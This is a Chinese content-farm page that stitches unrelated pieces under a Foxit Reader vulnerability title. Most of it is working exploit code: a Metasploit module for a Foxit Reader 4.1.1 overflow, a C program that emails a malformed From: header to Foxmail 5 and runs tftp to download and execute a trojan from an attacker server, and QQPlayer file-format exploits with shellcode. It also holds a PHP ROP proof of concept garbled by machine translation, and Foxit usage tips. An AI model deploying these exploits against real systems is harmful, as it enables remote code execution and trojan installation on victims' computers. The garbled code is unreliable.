欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警

福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警

2022-10-16 08:51:53 收藏本文 下载本文

“dgtomshine”通过精心收集,向本站投稿了8篇福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警,以下是小编为大家准备的福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警,仅供参考,欢迎大家阅读。

福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警

篇1:福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::PDF

include Msf::Exploit::Egghunter

#include Msf::Exploit::Seh # unused due to special circumstances

def initialize(info = {})

super(update_info(info,

'Name' => 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow',

'Description' => %q{

This module exploits a stack buffer overflow in Foxit PDF Reader prior to version

4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that

contains an overly long string in the Title field. This results in overwriting a

structured exception handler record.

NOTE: This exploit does not use javascript.

},

'License' => MSF_LICENSE,

'Version' => “$Revision: 11096 $”,

'Author' =>

[

'dookie', # Discovered the bug

'Sud0', # Original exploit (from Offsec Exploit Weekend)

'corelanc0d3r', # Metasploit exploit

'jduck' # Metasploit-fu

],

'References' =>

[

#[ 'CVE', '' ],

[ 'OSVDB', '68648' ],

[ 'URL', 'www.exploit-db.com/exploits/15532' ],

[ 'URL', 'www.corelan.be:8800/index.php//11/13/offensive-security-exploit-weekend/' ]

],

'Payload' =>

{

'BadChars' => “x00x01x02x03x04x05x06x07x08x09x0ax0dx2Fx5cx3cx3ex5ex7e”,

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'EncoderOptions' =>

{

'BufferRegister' => 'EDI', # egghunter jmp edi

}

},

'Platform' => 'win',

'Targets' =>

[

[ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => “x4Bx6A” } ] #unicode p/p/r foxit reader.exe

],

'DisclosureDate' => 'Nov 13 2010',

'DefaultTarget' => 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf']),

OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/'])

], self.class)

end

def exploit

@label = rand_text_alpha(7)

nseh = “x5Ax41” # pop edx -- to make edx writable

seh = target['Ret']

# inc ecx / pop esp / popad / push esp / ret

align = “x41x61x5Cx5Cx41x61x41x54x41xC3”

ecx_control = “xB3x30xB3” # becomes ecx

hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

# Encode with alphamixed, then unicode mixed

[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|

enc = framework.encoders.create(name)

if name =~ /unicode/

enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })

else

enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })

end

# NOTE: we already eliminated badchars

hunter = enc.encode(hunter, nil, nil, platform)

if name =~/alpha/

#insert getpc_stub & align EDX, unicode encoder friendly.

#Hardcoded stub is not an issue here because it gets encoded anyway

getpc_stub = “x89xe1xdbxccxd9x71xf4x5ax83xc2x41x83xeax35”

hunter = getpc_stub + hunter

end

}

#tweak hunter, patched to make it write to ECX

hunter[1] = “a”

doctitles = [

“Confidential : Contract + Terms of Use”,

“Contract information”,

“Acquisition contract”,

“...loading, please wait...”,

“Trademark, patent and copyright information”,

“Limited Liability Partnership”,

“Partnership agreement”,

“Last will and testament”,

“How to hack gmail”,

“Running Metasploit on Windows Mobile”,

“Free torrent sites”,

“Lady Gaga naked”,

“Free Shopping vouchers”

]

sploit = ''

sploit << doctitles[rand(doctitles.length)]

sploit << “ ” * (target['Offset'] - sploit.length)

sploit << nseh << seh

sploit << align

sploit << ecx_control

sploit << hunter

file_create(make_pdf(sploit))

end

# Override the mixin obfuscator since it doesn't seem to work here.

def nObfu(str)

return str

end

def trailer(root_obj)

ret = 'trailer'

ret << nObfu(“<<< ioRef(root_obj)

ret << nObfu(”/Info “) << ioRef(5)

ret << nObfu(”/#{@label} #{@egg}“)

ret << nObfu(”>>“)

ret << eol

ret

end

def make_pdf(sploit)

@pdf << header('1.4')

add_object(1, nObfu(”>“))

add_object(2, nObfu(”“))

add_object(3, nObfu(”<<< ioRef(4) << nObfu(“]>>”))

add_object(4, nObfu(“<<< ioRef(3) << nObfu(”/MediaBox[0 0 612 792]>>“))

add_object(5, nObfu(”“))

finish_pdf

end

篇2:福昕PDF阅读器护眼篇

技巧1,阅读界面选择。

选项卡模式界面

福昕PDF阅读器为用户提供了传统界面和选项卡模式界面两种,用户可根据自己的习惯选择阅读界面,使阅读、注释等操作更顺畅,小编习惯了Win7系统,所以更倾向于选项卡模式界面。

操作方法:工具栏→自定义工具栏→选择“重启后使用选项卡模式的工具栏”,操作完成后关闭阅读器,重新启动后的阅读界面就是选项卡模式,反之,在选项卡空白处点击鼠标右键,选择自定义工具栏,重启后使用选项卡模式的工具栏处留白,关闭阅读器后重启,设置完成。

技巧2,更换皮肤,

电脑资料

福昕PDF阅读器为用户提供了经典皮肤、黑色、蓝色、桔色、紫色等5种皮肤颜色,用户可根据自己的喜好或者文档内容选择适合的皮肤,小编偏好比较温和的桔色,阅读起来不刺激眼睛。

操作方法:选择工具栏→更改皮肤,弹出如上对话框,然后选择喜欢的颜色,点击应用、确定。在这里同样可以选择“重启后使用选项卡模式的工具栏”设置Ribbon界面。

技巧3,更换背景。

选择编辑→背景→添加(更新),用户可以添加纯色或图片背景,此外还可以选择工具栏→偏好设置→访问→改变文档颜色→自定义颜色,用户可根据需要选择修改页面背景色和文本颜色。小编选择了修改页面背景色,文本颜色还是保留黑色,修改后整个界面感觉比较温和舒服,也符合本人的习惯,此外感觉还颇符合内容的意境的,呵呵

技巧4, 阅读模式

阅读模式

整个界面设置完成后,就开始我们的阅读之旅吧,不过此时小编喜欢的选项卡界面的各选项卡占据了好大区域,总感觉阅读没那么畅快,有木有和小编一样感受的盆友?这时候小编又发现了一个比较好用的小工具,点击阅读器右上角

图标,或者在文本区域点击鼠标右键,同样选择该图标,我们就能进入阅读模式,这样阅读起来就畅快多了,如果还感觉不过瘾,可以点击选项卡的全屏,这样就可以全屏阅读了,阅读起来就更酣畅淋漓了,有木有!

篇3:福昕PDF阅读器新手使用指南

一、首先下载福昕PDF阅读器,进行安装。

安装导向

安装完成后,可以对软件的皮肤等进行设置

二、怎么打开pdf文件?

在桌面上双击图标 ,打开软件如下所示:

点击菜单栏中的文件按钮,选择“打开”选项

选择你要阅读查看的文件后点击“打开”按钮,就可以进行阅读,

如下图:

三、如何添加书签?

在阅读时,遇到文章很长,无法一次看完,这时我们就想到了书签,但阅读器也有书签吗?没错,福昕PDF阅读器就为你提供了书签功能,让你快速找到前次浏览页。

篇4:Foxmail 5远程缓冲区溢出漏洞漏洞预警

注:本文是2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码,

测试环境:win2k sp4+foxmail 5.0.300

以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。

问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。

具体处理过程如下:

.text:10002040        public UrlToLocal

.text:10002040 UrlToLocal   proc near

.text:10002040

.text:10002040 arg_0     = dword ptr 4

.text:10002040 arg_4     = dword ptr 8

.text:10002040

.text:10002040        mov  eax, dword_1000804C

.text:10002045        mov  ecx, dword_10008030

.text:1000204B        mov  edx, [esp+arg_4]

.text:1000204F        push  offset aHttp  ; ”“

.text:10002054        push  eax

.text:10002055        mov  eax, [esp+8+arg_0]

.text:10002059        push  offset unk_10008034

.text:1000205E        push  ecx

.text:1000205F        push  edx

.text:10002060        push  eax

.text:10002061        call  sub_10002070 ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容

.text:10002070 sub_10002070  proc near       ; CODE XREF: UrlToLocal+21p

.text:10002070                    ; EmailAdrToLocal+107p

.text:10002070

.text:10002070 var_600    = dword ptr -600h

.text:10002070 var_500    = dword ptr -500h

.text:10002070 var_400    = dword ptr -400h

.text:10002070 var_300    = dword ptr -300h

.text:10002070 var_200    = dword ptr -200h

.text:10002070 var_100    = dword ptr -100h

.text:10002070 arg_0     = dword ptr 4

.text:10002070 arg_4     = dword ptr 8

.text:10002070 arg_8     = dword ptr 0Ch

.text:10002070 arg_C     = dword ptr 10h

.text:10002070 arg_10     = dword ptr 14h

.text:10002070 arg_14     = dword ptr 18h

.text:10002070

.text:10002070        mov  edx, [esp+arg_0]

.text:10002074        sub  esp, 600h

......

.text:100020DF        push  eax

.text:100020E0        push  ecx

.text:100020E1        push  ebx

.text:100020E2        call  sub_10001A30 ;调用10001A30,就是这个函数里面溢出了

.text:10001A30 sub_10001A30  proc near       ; CODE XREF: sub_10002070+72p

.text:10001A30                    ; sub_10002290+95p

.text:10001A30

.text:10001A30 var_104    = dword ptr -104h

.text:10001A30 var_100    = dword ptr -100h

.text:10001A30 arg_0     = dword ptr 4

.text:10001A30 arg_4     = dword ptr 8

.text:10001A30 arg_8     = dword ptr 0Ch

.text:10001A30 arg_C     = dword ptr 10h

.text:10001A30 arg_10     = dword ptr 14h

.text:10001A30 arg_14     = dword ptr 18h

.text:10001A30

.text:10001A30        sub  esp, 104h ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200

.text:10001A36        push  ebx

.text:10001A37        mov  ebx, [esp+108h+arg_0]

.text:10001A3E        push  ebp

.text:10001A3F        mov  ebp, [esp+10Ch+arg_10]

.text:10001A46        push  esi

.text:10001A47        xor  esi, esi

......

.text:10001AA9        sub  edi, ecx

.text:10001AAB        mov  eax, ecx

.text:10001AAD        mov  esi, edi

.text:10001AAF        mov  edi, edx

.text:10001AB1        shr  ecx, 2

.text:10001AB4        rep movsd ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里

.text:10001AB6        mov  ecx, eax

.text:10001AB8        and  ecx, 3

.text:10001ABB        rep movsb

......

.text:10001AE7        mov  edi, [esp+114h+arg_C]

.text:10001AEE        shr  ecx, 2

.text:10001AF1        rep movsd ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0

.text:10001AF3        mov  ecx, eax

.text:10001AF5        and  ecx, 3

.text:10001AF8        rep movsb

......

.text:10001BD7        pop  edi

.text:10001BD8        pop  esi

.text:10001BD9        pop  ebp

.text:10001BDA        pop  ebx

.text:10001BDB        add  esp, 104h

.text:10001BE1        retn ;返回的时候就会回到我们的JMP ESP地址去

这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,r,n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。

有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。

/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit

*

* (C) COPYRIGHT XFOCUS Security Team,

* All Rights Reserved

*

* This is unpublished proprietary source code of XFOCUS Security Team.

* It should not be distributed in any form. without express permission

* from XFOCUS Security Team.

*

* -----------------------------------------------------------------------

* Author : xfocus

*     : www.xfocus.org

* Maintain : XFOCUS Security Team

* Version : 0.2

*

* Test  : Windows server GB/XP professional

*        + Foxmail 5.0.300.0

* Notes  : unpublished vul.

* Greets : ey4s, and all member of XFOCUS Security Team.

* Complie : cl fmx.c

* Usage  : fmx

*      mail_addr: email address we wantto hack

*      tftp_server: run a tftp server and have a a.exe trojan

*      smtp_server: SMTP server don't need login, we send the email thru it

*

* Date  : 2004-02-27

* Revised : 2004-03-05

*

* Revise History:

* -03-05 call WinExec addr of Foxmail.exe module to run tftp for down&execute

*/

#include

#include

#include

#pragma comment (lib,”ws2_32“)

//mail body, it's based on a real spam email, heh

unsigned char packet[] =

”From: %srn“ //buffer to overrun

”Subject: Hi,manrn“

”MIME-Version: 1.0rn“

”Content-Type: multipart/mixed; boundary=“87122827”rn“

”rn“

”rn“

”--87122827rn“

”Content-Type: text/plain; charset=us-asciirn“

”Content-Transfer-Encoding: 7bitrn“

”rn“

”Trn“

”rn“

”--87122827rn“

”Content-Disposition: attachmentrn“

”Content-Type: Text/HTML;rn“

” name=“girl.htm”rn“

”Content-Transfer-Encoding: 7bitrn“

”rn“

”rn“

”--87122827--rn“

”rn“

”.rn“;

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)

unsigned char winexec[] =

”x83xecx50xebx0cxb9x41x10xd3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff“;

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

unsigned char winexec2[] =

”x83xecx50xebx0cxb9x41x10xa3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff“;

#define SMTPPORT 25

int Make_Connection(char *address,int port,int timeout);

int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])

{

WSADATA WSAData;

char *mailaddr = NULL;

char *tftp = NULL;

char *smtpserver = NULL;

if(argc!=4)

{

printf(”Usage: %s ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1n“, argv[0], argv[0]);

return 1;

}

mailaddr=argv[1];

tftp=argv[2];

smtpserver=argv[3];

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

{

printf(”WSAStartup failed.n“);

WSACleanup();

exit(1);

}

//WinExec() address

SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)

SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

WSACleanup();

return 0;

}

// 建立TCP连接

// 输入:

//   char * address IP地址

//   int port   端口

//   int timeout  延时

// 输出:

// 返回:

//   成功 >0

//   错误 <=0

int Make_Connection(char *address,int port,int timeout)

{

struct sockaddr_in target;

SOCKET s;

int i;

DWORD bf;

fd_set wd;

struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);

if(s<0)

return -1;

target.sin_family = AF_INET;

target.sin_addr.s_addr = inet_addr(address);

if(target.sin_addr.s_addr==0)

{

closesocket(s);

return -2;

}

target.sin_port = htons(port);

bf = 1;

ioctlsocket(s,FIONBIO,&bf);

tv.tv_sec = timeout;

tv.tv_usec = 0;

FD_ZERO(&wd);

FD_SET(s,&wd);

connect(s,(struct sockaddr *)&target,sizeof(target));

if((i=select(s+1,0,&wd,0,&tv))==(-1))

{

closesocket(s);

return -3;

}

if(i==0)

{

closesocket(s);

return -4;

}

i = sizeof(int);

getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);

if((bf!=0)||(i!=sizeof(int)))

{

closesocket(s);

return -5;

}

ioctlsocket(s,FIONBIO,&bf);

return s;

}

//send magic mail

int SendXMail(  char *mailaddr, char *tftp, char *smtpserver, char *shellcode)

{

SOCKET csock;

int  ret,i=0;

char buf[510], sbuf[0x10000], tmp[500], tmp1[500];

csock = Make_Connection(smtpserver, SMTPPORT, 10);

if(csock<0)

{

printf(”connect err.n“);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(”recv err.n“);

exit(1);

}

printf(buf);

ret=send(csock, ”HELO serverrn“,strlen(”HELO serverrn“), 0);

if(ret<=0)

{

printf(”send err.n“);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(”recv err.n“);

exit(1);

}

printf(buf);

ret=send(csock, ”MAIL FROM: info@sina.comrn“,strlen(”MAIL FROM: info@sina.comrn“), 0);

if(ret<=0)

{

printf(”send err.n“);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(”recv err.n“);

exit(1);

}

printf(buf);

sprintf(tmp, ”RCPT TO: %srn“, mailaddr);

ret=send(csock, tmp,strlen(tmp), 0);

if(ret<=0)

{

printf(”send err.n“);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(”recv err.n“);

exit(1);

}

printf(buf);

Sleep(1000);

ret=send(csock, ”DATArn“,strlen(”DATArn“), 0);

if(ret<=0)

{

printf(”send err.n“);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(”recv err.n“);

exit(1);

}

printf(buf);

printf(”send exploit mail...n“);

memset(sbuf, 0, sizeof(sbuf));

memset(buf, 0, sizeof(buf));

memset(buf, 0x41, sizeof(buf)-1);

memset(tmp, 0, sizeof(tmp));

//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)

strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module

strcat(tmp, ”cmd /c tftp -i %s get a.exe&a.exe:“);

sprintf(tmp1, tmp, tftp);

memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));

*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp

*(int *)(buf+0x104)=0x80eb80eb; //jmp back

*(int *)(buf+0x108)=0x7ffdf220; //writeable addr

*(int *)(buf+0x110)=0x7ffdf220; //writeable addr

memcpy(buf, ”girlx0d“, 5);

sprintf(sbuf, (char *)packet, buf);

ret=send(csock, sbuf,strlen(sbuf), 0);

if(ret<=0)

{

printf(”send err.n“);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(”recv err.n“);

exit(1);

}

printf(buf);

printf(”exploit mail sent.n“);

closesocket(csock);

return 0;

}

安全焦点

篇5:QQPlayer CUE文件缓冲区溢出漏洞漏洞预警

#!/usr/bin/env python

#################################################################

#

# Title: QQPlayer cue File Buffer Overflow Exploit

# Author: Lufeng Li of Neusoft Corporation

# Vendor: www.qq.com

# Platform. Windows XPSP3 Chinese Simplified

# Tested: QQPlayer 2.3.696.400

# Vulnerable: QQPlayer<=2.3.696.400p1

#

#################################################################

# Code :

head = ''''''FILE ”''''''

junk = “A” * 780

nseh =“x42x61x21x61”

seh =“xa9x9ex41x00”

adjust=“x32x42x61x33xcax83xc0x10”

shellcode=(“hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o”

“0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41”

“H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK”

“NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01”)

junk_=“R”*8000

foot =''''''.avi“ VIDEO''''''+”x0a“''''''TRACK 02 MODE1/8888''''''+”x0a“+”INDEX 08 08:08:08“

payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open(”poc.cue“,”w“)

fobj.write(payload)

fobj.close()

篇6:QQPlayer asx文件处理缓冲区溢出漏洞漏洞预警

#################################################################

#

# Title: QQPlayer asx File Processing Buffer Overflow Exploit

# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University

# Vendor: www.qq.com

# Platform. Windows XPSP3 Chinese Simplified

# Test: QQPlayer 2.3.696.400

# Vulnerable: QQPlayer<=2.3.696.400p1

#

#################################################################

# Code :

head =''''''

junk = ”A“ * 1975

nseh =”x42x61x21x61“

seh =”xa9x9ex41x00“

adjust=”x30x83xc0x0c“

shellcode=(”PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV“

”QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL“

”KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9“

”QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW“

”TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R“

”HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA“)

junk_=”R“*8000

foot =''''''_playlis.wma”/>

''''''

payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open(“poc.asx”,“w”)

fobj.write(payload)

fobj.close

篇7:福昕阅读器“另存为” 一键转换PDF格式为TXT文档

下载地址:福昕阅读器

第一步,使用福昕阅读器打开PDF 文件(比如:新东方高中英语核心单词精选.pdf),

第二步,选择菜单栏“文件”--“另存为”,以“文本文件”格式保存,即可转换为TXT文档格式。

选择以“文本文件”格式保存

Txt格式

篇8:PHP 5.3.6缓冲区溢出POC(ROP)的CVE漏洞预警

<?PHP

/ *

** xiaolandjj@qq.com

** bbs.xxoxo.org

** 2011年7月15日

**基于堆栈的缓冲区溢出,在ext /插座/ sockets.c socket_connect功能

在PHP 5.3.3到5.3.6可能依赖于上下文的攻击者执行任意

**代码通过UNIX套接字的路径名,

**由:小兰

* /

回声“[+] PHP 5.3.6缓冲区溢出的POC(ROP)的 N”;

回声“[+] CVE - 2011 - 1938 N N”;

#/ usr / bin中/ PHP的小工具

定义(“哑”,“ X42 X42 X42 X42”); / /填充

定义(“栈”,“ X20 XBA X74 X08”); / /数据0x46a0 0x874ba20

定义(“STACK4”,“中 X24 XBA X74 X08”); / / STACK + 4

定义(“STACK8”,“ X28 XBA X74 X08”); / /栈+ 8

定义(“STACK12”,“ x3c XBA X74 X08”); / /栈+ 12

定义(INT_80“,” X27 xb6 X07 X08“); / / 0x0807b627:INT 0x80的

定义(“INC_EAX”,“ X66 X50 X08 x0f”); / / 0x080f5066:INC%eax中| RET

定义(“XOR_EAX',” X60 XB4 X09 X08“); / / 0x0809b460:XOR EAX%,%eax中| RET

定义(“MOV_A_D”,“ X84 x3e X12 X08”); / / 0x08123e84:MOV EAX%,(%edx中)| RET

定义(“POP_EBP”,“ xc7 X48 X06 X08”); / / 0x080648c7:弹出%EBP | RET

定义(“MOV_B_A',” X18 X45 X06 X08“); / / 0x08064518:MOV的%ebp,%eax中|弹出%EBX |弹出%ESI |弹出%EDI |弹出%EBP | RET

定义(“MOV_DI_DX',” X20 X26 X07 X08“); / / 0x08072620:MOV%EDI,%edx中|弹出%ESI |弹出%EDI |弹出%EBP | RET

定义(“POP_EDI”,“ X23 X26 X07 X08”); / / 0x08072623:弹出%EDI |弹出%EBP | RET

定义(“POP_EBX”,“ x0f x4d X21 X08”); / / 0x08214d0f:弹出%EBX |弹出%ESI |弹出%EDI |弹出%EBP | RET

定义(“XOR_ECX”,“ XE3 X3B x1f X08”); / / 0x081f3be3:XOR%ECX,%ecx中|弹出%EBX | MOV ECX%,%eax中|弹出%ESI |弹出%EDI |弹出% EBP | RET

美元padd = str_repeat(“A”,196);

为有效载荷= POP_EDI,

/ /弹出%EDI

堆栈。/ / 0x874ba20

假人。/ /弹出的%ebp

MOV_DI_DX。%/ / MOV EDI,EDX%

假人。/ /弹出%ESI

假人。/ /弹出%EDI

“/ / BI”。/ /弹出的%ebp

MOV_B_A。/ / MOV的%ebp,%eax中

假人。/ /弹出%ebx中

假人。/ /弹出%ESI

假人。/ /弹出%EDI

假人。/ /弹出的%ebp

MOV_A_D。%/ / MOV EAX,(%edx中)

POP_EDI。/ /弹出%EDI

STACK4。/ / 0x874ba24

假人。/ /弹出的%ebp

MOV_DI_DX。%/ / MOV EDI,EDX%

假人。/ /弹出%ESI

假人。/ /弹出%EDI

“N / sh”的。/ /弹出的%ebp

MOV_B_A。/ / MOV的%ebp,%eax中

假人。/ /弹出%ebx中

假人。/ /弹出%ESI

假人。/ /弹出%EDI

假人。/ /弹出的%ebp

MOV_A_D。%/ / MOV EAX,(%edx中)

POP_EDI。/ /弹出%EDI

STACK8。/ / 0x874ba28

假人。/ /弹出的%ebp

MOV_DI_DX。%/ / MOV EDI,EDX%

假人。/ /弹出%ESI

假人。/ /弹出%EDI

假人。/ /弹出的%ebp

XOR_EAX。%/ / XOR EAX,%eax中

MOV_A_D。%/ / MOV EAX,(%edx中)

XOR_ECX。/ / XOR%,EC​​X,ECX%

假人。/ /弹出%ebx中

假人。/ /弹出%ESI

假人。/ /弹出%EDI

假人。/ /弹出的%ebp

POP_EBX。/ /弹出%ebx中

堆栈。/ / 0x874ba20

假人。/ /弹出%ESI

假人。/ /弹出%EDI

假人。/ /弹出的%ebp

XOR_EAX。%/ / XOR EAX,%eax中

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INC_EAX。/ / INC EAX%

INT_80; / / INT 0x80的美元

邪恶= $ padd美元的有效载荷。

$ FD = socket_create(AF_UNIX,SOCK_STREAM,1);

$ RET = socket_connect(FD,邪恶美元);

?>

【福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警】相关文章:

下载word文档
《福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警相关文章
最新推荐
猜你喜欢
  • 返回顶部